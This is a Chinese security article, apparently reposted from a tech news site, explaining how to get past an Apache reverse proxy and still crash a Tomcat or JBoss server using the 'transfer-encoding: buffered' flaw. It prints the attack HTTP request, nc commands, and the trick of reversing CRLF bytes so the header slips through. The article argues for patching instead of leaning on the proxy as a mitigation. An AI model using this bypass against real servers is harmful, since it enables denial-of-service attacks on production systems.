新聞中心
從長遠的角度講,一個完整的安全方案,應(yīng)該是和現(xiàn)有架構(gòu)本身的特性,是分開的,它并不能因為現(xiàn)有應(yīng)用架構(gòu)攔截了攻擊,于是自己就表示影響不大。如果安全方案總是依靠應(yīng)用現(xiàn)有的特性,那就要承受可能被繞過的隱患,這種隱患,導(dǎo)致我們總有一天,會不得不把補丁老老實實的打上去。如本文就是一個很好的例子。

筆者根據(jù)TOMCAT的補丁,分析出了攻擊未修補版本的POC,相信不少人體驗了一把。然而在實際使用中,只有小公司喜歡把tomcat放在最外面。大企業(yè)都喜歡在tomcat外面使用apache等web server轉(zhuǎn)發(fā),以便獲得更好的響應(yīng)速度,或者為了分離靜態(tài)文件,減輕服務(wù)器壓力。
對于這樣的情況,你會發(fā)現(xiàn)使用筆者給的POC,這里是無效的,關(guān)于這一點,官方如下描述“This flaw is mitigated if Tomcat is behind a reverse proxy (such as Apache httpd 2.2) as the proxy should reject the invalid transfer encoding header.”他說如果你的tomcat外面還有一層web server做轉(zhuǎn)發(fā),就會減輕這個漏洞帶來的危害。
也許大家看到這個,放心了很多,就沒有修補。
官方這么講,是什么原理呢?我們看下攻擊的POC:
| POST /CodePK/updateinfo HTTP/1.1 Host: localhost Keep-Alive: 300 Connection: keep-alive transfer-encoding: buffered Content-Length: 145 u_uid=admin&u_pwd0=123456&u_pwd1=&u_pwd2=&u_email=rfes%40rfes.com&u_location=B2B&u_lang=1&u_web=22222222&u_quote=ffvd&u_submit=%E6%8F%90%E4%BA%A4 |
遇到這樣的HTTP頭,apache會因為有”transfer-encoding: buffered”,則自動攔截下來,自己處理掉這個數(shù)據(jù)包,不交給tomcat處理,并直接返回錯誤。這是出于apache自己的原因造成的,但是這不重要。重要的是,這個攔截的機制,能否被繞過。TOMCAT仍然老老實實的在apache后面等候數(shù)據(jù)包,如果能繞過,它就會再次忠實的睡大覺。要繞過apache的“自動攔截”(這個名字好記點),就必須讓apache不認識這個頭。
發(fā)個數(shù)據(jù)包,這是攔截后返回的信息:
| A:\tools>nc -vv localhost 80 < aa.txt DNS fwd/rev mismatch: kxlzx != localhost billgates [127.0.0.1] 80 (http) open HTTP/1.1 500 Internal Server Error ……..省略 The server encountered an internal error or misconfiguration and was unable to complete your request. …….省略 |
Apache返回了500 Internal Server Error,如果去掉那個頭”transfer-encoding: buffered”,返回就200 OK了,但是也就打不死了。
看起來這是個死循環(huán),永遠搞不定,所以tomcat官方也說了能減輕危害。
但是,如果apache和tomcat對某些字符的理解不一致,可能會apache放過某些字符,但是tomcat卻剛巧認識,又如果這個字符剛好能影響到這里,就會bypass這個所謂的“防御架構(gòu)”,所以我們找找看有沒有這樣“猥瑣”的字符存在。
Apache和Tomcat實現(xiàn)原理不一樣(廢話),所以,對一些字符可能理解不一致,是正常的。
我們先看看大家對http heads的分段是如何理解的,我查到“CRLF”,從apache源碼中看到,它把crlf定義為“\r\n”,轉(zhuǎn)換為也就是16進制的“0D 0A”(為什么提16進制等下講),這個供參考:https://svn.apache.org/repos/asf/httpd/flood/trunk/flood_test.c
其實我不熟悉C,也不知道這段主要是做什么的,但是看到它的確定義了
“#define CRLF "\r\n"”,只有這一個對crlf的定義。
這有什么用呢?這其實表示,apache所理解CRLF,就是“\r\n”,它不認識“\n\r”(看仔細點,反過來了)。
悲劇的是,tomcat和JBOSS認識它們,并且很喜歡它們!
Tomcat和jboss對這個東西的定義含義是
“If (xx==’\r’|| xx==’\n’)”
就是說,不但把字符反過來寫它們認識,就算拆成骨頭,TOMCAT和JBOSS也認識。
知道了這個關(guān)鍵點,下面思路就有了。我們把”transfer-encoding: buffered”這個字段,偽裝成其他字段的一部分,讓apache放過去,交給tomcat處理就可以了。
POC:
于是我使用16進制編輯器,UltraEdit打開我復(fù)制出來的數(shù)據(jù)包文件aa.txt
找到
transfer-encoding: buffered
把這一行之前的字符
注意括起來的兩個地方,把它們順序分別顛倒一下,兩個地方的“0D 0A”都改為“0A 0D”。改后如下:
原來包是這樣的:
| Connection: keep-alive 這是字段1 transfer-encoding: buffered 這是字段2 Content-Length: 145 這是字段3 |
三個字段其實屬于同一個字符串,他們的間隔本來是“\r\n”,我們改為“\n\r”。一旦這個包發(fā)給apache后,apache認為只有一個字段”Connection”過來了,接著就把這個字段原封不動的交給tomcat。#p#
可憐的tomcat看到這個包,卻認為它是三個字段,解開了這個炸藥包,所以,砰。。。掛了
現(xiàn)在把我改后的文件,使用nc提交上去:
責任編輯:佟健
來源: IT專家網(wǎng) Apache DoS
分享到微信
微信掃碼分享
分享到微博 相關(guān)推薦
繞過
Apache httpproxy
繼續(xù)
DOS
TOMCAT/JBOSS 本文通過案例講述介紹了如何繞過繞過Apachehttpproxy繼續(xù)DOSTOMCATJBOSS的過程,在實際使用中,只有小公司喜歡把tomcat放在最外面。大企業(yè)都喜歡在tomcat外面使用apache等webserver轉(zhuǎn)發(fā),以便獲得更好的響應(yīng)速度,或者為了分離靜態(tài)文件,減輕服務(wù)器壓力。
2011-03-15 08:54:43
四兩撥千斤
Apache
HTTP
DoS工具解析 國外安全人員昨天發(fā)布了一個很有意思的HTTPDos攻擊工具。這個工具能夠通過耗盡服務(wù)器的可用連接,對Apache(以及其它一些服務(wù)器,見下文)進行拒絕服務(wù)攻擊(DenialofServiceattack)。
2009-06-26 10:07:16
http協(xié)議與
http
代理 TCPIP是用于計算機通信的一個協(xié)議族。TCPIP協(xié)議族包括諸如Internet協(xié)議、地址解析協(xié)議、互聯(lián)網(wǎng)控制信息協(xié)議、用戶數(shù)據(jù)報協(xié)議、傳輸控制協(xié)議、路由信息協(xié)議、Telnet、簡單郵件傳輸協(xié)議、域名系統(tǒng)等協(xié)議。
2014-10-22 09:36:41
TCP IP
Apache
Tomcat 7.0.12 發(fā)布 ApacheTomcat7.0.12發(fā)布了,該版本在7.0.11的基礎(chǔ)上修復(fù)了一些bug.
2011-04-07 09:06:31
Tomcat
apache/
apache
tomcat目錄遍歷漏洞的防范 如果apacheapachetomcat配置文件沒有處理好,會給站點帶來相當大的隱患,目錄遍歷漏洞,會將站點的所有目錄暴露在訪問者眼前,有經(jīng)驗的開發(fā)者或hacker們可以從這些目錄得知當前站點的信息,如開發(fā)語言、服務(wù)器系統(tǒng)、站點結(jié)構(gòu),甚至一些敏感的信息。
2013-04-26 10:59:54
目錄遍歷漏洞
HTTP
代理與SPDY協(xié)議 HTTP代理是最經(jīng)典最常見的代理協(xié)議。其用途非常廣泛,普遍見于公司內(nèi)網(wǎng)環(huán)境,一般員工都需要給瀏覽器配置一個HTTP代理才能訪問互聯(lián)網(wǎng)。起初,HTTP代理也用來翻越“功夫網(wǎng)”,但是因為“功夫網(wǎng)”不斷發(fā)展,普通的HTTP代理早已無效了。
2013-07-09 14:36:24
Apache
Tomcat Connectors 1.2.36 發(fā)布 ApacheTomcat項目組今天發(fā)布了1.2.36版本,該版本修復(fù)了1.2.35的一些小bug.詳細內(nèi)容請進官網(wǎng)。
2012-05-18 15:52:49
Java Apache Tomcat
Apache與
Tomcat集群配置 本文Apache+Tomcat集群配置基于最新的Apache和Tomcat,同時也推薦了大量相關(guān)的文章,詳細請看內(nèi)容
2012-05-30 10:09:57
Apache Tomcat
Apache+
Tomcat集群配置詳解 本篇文章就Apache和Tomcat集群配置做出了詳細解釋,并給出代碼方便理解。
2011-02-25 11:16:38
Apache Tomcat
HTTP
代理原理及實現(xiàn)(二) 在上篇《HTTP代理原理及實現(xiàn)(一)》里,我介紹了HTTP代理的兩種形式,并用Node.js實現(xiàn)了一個可用的普通隧道代理。普通代理可以用來承載HTTP流量;隧道代理可以用來承載任何TCP流量,包括HTTP和HTTPS。今天這篇文章介紹剩余部分:如何將瀏覽器與代理之間的流量傳輸升級為HTTPS。
2015-12-02 15:29:32
HTTP 網(wǎng)絡(luò)協(xié)議 代理原理
HTTP
代理原理及實現(xiàn)(一) Web代理是一種存在于網(wǎng)絡(luò)中間的實體,提供各式各樣的功能?,F(xiàn)代網(wǎng)絡(luò)系統(tǒng)中,Web代理無處不在。我之前有關(guān)HTTP的博文中,多次提到了代理對HTTP請求及響應(yīng)的影響。今天這篇文章,我打算談?wù)凥TTP代理本身的一些原理,以及如何用Node.js快速實現(xiàn)代理。
2015-12-02 14:10:56
HTTP 網(wǎng)絡(luò)協(xié)議 代理原理 借助
HTTP通過SSH
繞過Linux防火墻 需要遠程工作的看一下。使用這個有用的開源解決方案,從任何地方快速地連接和訪問你的所有設(shè)備。
2020-08-11 08:25:21
HTTP SSH Linux防火墻 通過JMX訪問破壞
Apache
Tomcat 本文主要關(guān)注Tomcat服務(wù)器的一些配置問題,可以將Java管理擴展(JMX)服務(wù)暴露到外部網(wǎng)絡(luò)中,來用于遠程監(jiān)視和管理的目的。
2017-02-12 22:29:59
Apache
Tomcat 6.0.35 發(fā)布 附下載 ApacheTomcat6.0.35主要是安全方面的補丁和一些bug修復(fù),建議所有Tomcat6的用戶都應(yīng)該升級到該版本。
2011-12-07 10:34:29
Java Tomcat
Apache HTTPServer與
Tomcat/JBoss的配置 本文介紹ApacheHTTPServer與TomcatJBoss的配置。通過Apache的配置以及TomcatJBoss的配置,可以達成整合與請求分發(fā)的功能。
2009-07-06 17:49:02
Apache的配置 JBoss的配置 黑客針對
HTTP請求
繞過IDS的八種方式 當黑客在攻擊時可以偽裝自己,饒過IDS的檢測,主要是針對IDS模式匹配所采用的方法來逃避IDS的監(jiān)視。本文就主要介紹針對HTTP請求來繞過IDS檢測的方式。
2010-09-08 15:35:35
Apache服務(wù)器漏洞引發(fā)小流量
DoS攻擊 安全專家羅伯特·漢森(RobertHansen)近日表示,Apache和其它Web服務(wù)器存在一個重大安全漏洞,可被黑客利用發(fā)起一種新拒絕服務(wù)(DoS)攻擊。
2009-08-05 22:19:15
HTTP被動掃描
代理的那些事 這篇文章我們從小白的角度粗略的聊聊HTTP代理到底是如何工作的,在實現(xiàn)被動掃描功能時有哪些細節(jié)需要注意以及如何科學的處理這些細節(jié)。
2019-09-10 12:59:45
Apache
Tomcat 8 中的 NIO 2 ApacheTomcat8有一個新的基于NIO2的連接器正接近正常的使用狀態(tài),而現(xiàn)在被標記成測試版。NIO2不僅向Servlet3。1的異步IO看齊,它還不止這一個好處。
2014-04-18 09:55:49
Tomcat 8 NIO 2
相似話題
網(wǎng)站安全
1108內(nèi)容
數(shù)據(jù)安全
2962內(nèi)容
應(yīng)用安全
5661內(nèi)容
云安全
1830內(nèi)容
全部話題
同話題下的熱門內(nèi)容
警惕!2023年十大最常見的漏洞利用 養(yǎng)成密碼管理習慣,保障個人數(shù)字安全 2024年網(wǎng)絡(luò)安全趨勢:人工智能、云計算和威脅情報 大語言模型漏洞緩解指南 北京多家公司因不履行網(wǎng)絡(luò)安全保護義務(wù)被處罰! 2024年熱門網(wǎng)絡(luò)安全運營工具/方案推薦 在Ansible中編寫劇本實現(xiàn)批量服務(wù)器安全加固 深入淺出SSH隧道穿透
編輯推薦
瘋狂勒索500強和美國政府,瘋貓BlackCat靠什么年入3億? 你需要盡早知道的15個開源網(wǎng)絡(luò)安全工具 為竊取Android手機PIN碼,這個惡意軟件路子有多野? 攻擊者利用已有六年歷史的 Office 漏洞傳播間諜軟件 關(guān)于網(wǎng)絡(luò)安全預(yù)算的事實和誤解
相關(guān)專題 更多
網(wǎng)絡(luò)運維智能化?瞻博網(wǎng)絡(luò)有奇招! 2023年數(shù)據(jù)中心熱門技術(shù)回顧 2023-12-18 09:33:33 2023年第十八屆中國企業(yè)年終評選榜單公布! 2023-12-28 20:12:38 我收藏的內(nèi)容
微博
QQ
微信
復(fù)制鏈接
微信掃碼分享
業(yè)務(wù)
- 媒體 CIOAgeHC3iTechplur
- 社區(qū) 博客軟考資訊鴻蒙開發(fā)者社區(qū)
- 教育 學堂精培企業(yè)培訓(xùn)CTO訓(xùn)練營
- 學堂
- 學堂企業(yè)版
- 官微
關(guān)于我們&條款
- 關(guān)于我們
- 站點地圖
- 網(wǎng)站大事
- 意見反饋
- English
- 用戶協(xié)議
- 隱私協(xié)議
北京市海淀區(qū)中關(guān)村南1條甲1號ECO中科愛克大廈6-7層
北京市公安局海淀分局備案編號:110108002980號
營業(yè)執(zhí)照 京ICP備09067568號
Copyright ? 2005-2024 .COM 京ICP證060544 版權(quán)所有 未經(jīng)許可 請勿轉(zhuǎn)載
友情鏈接
新浪科技 騰訊科技 網(wǎng)易科技 鳳凰科技 驅(qū)動科技 科技行者 TechWeb 艾瑞網(wǎng) 站長之家 速途網(wǎng) 中國經(jīng)濟新聞網(wǎng) IT之家 工聯(lián)網(wǎng) 極客公園 236視頻會議 中國IDC圈 企業(yè)網(wǎng)D1Net 投資界 次方元 火山引擎
技術(shù)棧公眾號
技術(shù)棧公眾號
業(yè)務(wù)
速覽
在線客服
媒體 CIOAge HC3i 社區(qū) 博客 鴻蒙開發(fā)者社區(qū) 教育 學堂 精培 企業(yè)培訓(xùn) CTO訓(xùn)練營
| A:\tools>nc -vv localhost 80 < aa.txt DNS fwd/rev mismatch: kxlzx != localhost billgates [127.0.0.1] 80 (http) open HTTP/1.1 404 Not Found Date: Sat, 24 Jul 2010 01:48:34 GMT Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 1006 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive |
本文標題:繞過Apache http代理繼續(xù)DoS tomcat
轉(zhuǎn)載源于:http://m.fisionsoft.com.cn/article/cdhsoec.html


咨詢
建站咨詢
